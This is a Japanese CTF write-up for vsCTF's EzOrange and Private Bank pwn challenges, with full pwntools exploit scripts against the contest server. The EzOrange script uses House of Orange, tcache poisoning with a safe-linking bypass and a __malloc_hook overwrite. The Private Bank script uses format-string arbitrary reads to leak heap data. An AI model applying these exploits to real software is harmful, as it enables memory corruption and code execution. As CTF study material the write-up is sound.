vsCTF Writeup
vsCTFに参加しました。
pwnはEzOrangeだけ解きました。Private Bankは開催期間中に解けませんでした。
EzOrange (16 solve)
ubuntu@ubuntu-virtual-machine:~/ctf/vsctf/ezorange$ ./ezorange 1. Buy an orange 2. Modify part of orange 3. Exit > 1 Orange number: 0 Size: 12 1. Buy an orange 2. Modify part of orange 3. Exit > 2 Orange number: 0 Total 32 cell in this orange Cell index: 0 Current value: 0 New value: 1 1. Buy an orange 2. Modify part of orange 3. Exit >
よくあるヒープ問題。
脆弱性はModify Part of orange。
Cell indexを選ばされるのだが、これに任意の値を入れて、heap領域 + offsetの値を領域外について読み込み+書き込みができる
気になるのはfreeがないことだが、問題名がOrangeであることから自明だろう。House of orangeが使える。
セキュリティ機構は下記の通り。
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 51) Symbols No 0 1 /home/ubuntu/ctf/vsctf/ezorange/ezorange
PIEも無効だし、比較的自由にいろいろできそう。
方針としては、まずlibc baseとheap baseをleakしたい。
そのためには、house of orangeをもちいて、大きめのheapをunsorted binに入れてlibc baseをleak。
その後、smallbinなりlarge binなりに入れればfd_nextsizeからheap baseもleakできる。
house of orangeを2回用いてt cache poisoning をすれば終わり。
libcのversion が2.32なのでsafe linkingが有効である。
とはいえheap addressはわかっているので容易にbypassできる。
__malloc_hookを書き換えて、one_gadgetに飛ばすことができる。
from pwn import * import math #context.arch="i386" #context.terminal = ['xterm', '-e'] #context.arch="i386" #context.terminal = ['mate-terminal', '-e'] elf=ELF("/home/ubuntu/ctf/vsctf/ezorange/ezorange") libc=ELF("/home/ubuntu/ctf/vsctf/ezorange/libc.so.6") #p=process("/home/ubuntu/ctf/vsctf/ezorange/ezorange" # , aslr=False)) p=remote("104.197.118.147",10160) #gdb.attach(p) def Buy(number, size): p.sendlineafter(">","1") p.sendlineafter("Orange number:",str(number)) p.sendlineafter("Size:",str(size)) return def Modify(number, cell_index, value): p.sendlineafter(">","2") p.sendlineafter("Orange number:",str(number)) p.sendlineafter("Cell index:",str(index)) p.sendlineafter("New value:",str(value)) return #only orange 0 is avaibale! def leak8byte(leak_offset): leaked=0 for i in range(8): p.sendlineafter(">","2") p.sendlineafter("Orange number:",str(0)) p.sendlineafter("Cell index:",str(leak_offset+i)) p.recvuntil("Current value:") current_value=int(p.recvline()) leaked=leaked+current_value*(256**i) p.sendlineafter("New value:",str(current_value)) return leaked def ovewrite8byte(offset, value): for i in range(2+math.ceil(math.log(value, 256))): p.sendlineafter(">","2") p.sendlineafter("Orange number:",str(0)) p.sendlineafter("Cell index:",str(offset+i)) p.sendlineafter("New value:",str(((value//(256**(i)))%256))) return def ovewrite8byte1(offset, value): for i in range(2+math.ceil(math.log(value, 256))): p.sendlineafter(">","2") p.sendlineafter("Orange number:",str(1)) p.sendlineafter("Cell index:",str(offset+i)) p.sendlineafter("New value:",str(((value//(256**(i)))%256))) return Buy(0, 0x10) # overwrite top chunk ovewrite8byte(0x18, 0xd51) # free top chunk Buy(1, 0xd58) # Buy(0, 0x10) Buy(1, 0xd58) # # # we can leak heap base and libc base... libc_base=leak8byte(0x20)-0x1c6200 log.info("libc_base is "+hex(libc_base)) # heap=leak8byte(0x30)-0x2d0 log.info("heap address is "+hex(heap)) # # # t_cashe poisonnning log.info("free") Buy(1, 0x4f8) Buy(1, 0x4f8) Buy(1, 0x4f8) ovewrite8byte(0x22D08, 0x41) # free 0x41 log.info("free") Buy(1, 0x1000) Buy(1, 0x200) Buy(1, 0xf00) Buy(1, 0xa0) Buy(1, 0x90) ovewrite8byte(0x44d08, 0x41) # free 0x41 Buy(1, 0x1000) # # tcache poisoning log.info("tcache poisonning") ovewrite8byte(0x44d10, (heap+0x44FD0)>>12 ^ (libc_base+libc.symbols["__malloc_hook"])) Buy(1, 0x8) Buy(1, 0x8) one_gadget=0xceb71 ovewrite8byte1(0, libc_base+one_gadget) Buy(1, 0x8) p.interactive()
NWが遅くて、結構exploitが動くまでに時間がかかってしまった。
libcとldが同時に配布されると、こちらで環境を用意しなくていい点がいいけど…
debugするときにpwndbgとかのheap コマンドが動かないので困るっちゃ困る気がする…
Private Bank (7 solve)
開催期間中に解けなかった。
明らかなFSBがある。
pwndbg> checksec [*] '/home/ubuntu/ctf/vsctf/privatebank/privatebank' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
RELROもPIEも有効。
2回fsbが使えるので、一回目でheap アドレスをleak して、二回目でheapに保存されているflagをリークするだけの簡単な問題。
heapアドレスをどうleakするか?
これはstack 上にはなさそうなので、FSBのAARを利用してlibcからleakすることにする。
pwndbg> leakfind 0x1555552ef000 --max_depth=1 --max_offset=0x21B0000 --page_name=heap 0x1555552ef000+0x218388 —▸ 0x55555555c000 [heap] 0x1555552ef000+0x218cc0 —▸ 0x55555555c580 [heap]
このaddressからheapをleakしたのち、heapからflagをleakするだけ。
from pwn import * #context.arch="i386" #context.terminal = ['xterm', '-e'] #context.arch="i386" #context.terminal = ['mate-terminal', '-e'] elf=ELF("/home/ubuntu/ctf/vsctf/privatebank/privatebank") libc=ELF("/home/ubuntu/ctf/vsctf/privatebank/libc-2.34.so") #p=process("/home/ubuntu/ctf/vsctf/privatebank/privatebank" # , aslr=True)} ) p=remote("104.197.118.147",10165) #gdb.attach(p) p.recvuntil("Hint:") libc_base=int(p.recvline(), 16)-libc.symbols["system"] log.info("libc_base is "+ hex(libc_base)) # leak heap address p.sendafter("Cabinet number:","1%7$s".encode()+p64(libc_base+0x218cc0)) p.recvuntil("Your cabinet number: 1") heap_leak=u64(p.recvline()[:6].ljust(8, b"\x00")) log.info("heap address is "+hex(heap_leak)) # leak flag p.sendafter("Key:", "%9$s ".encode()+p64(heap_leak+0x10)) log.info(p.recv(timeout=0.1)) p.interactive()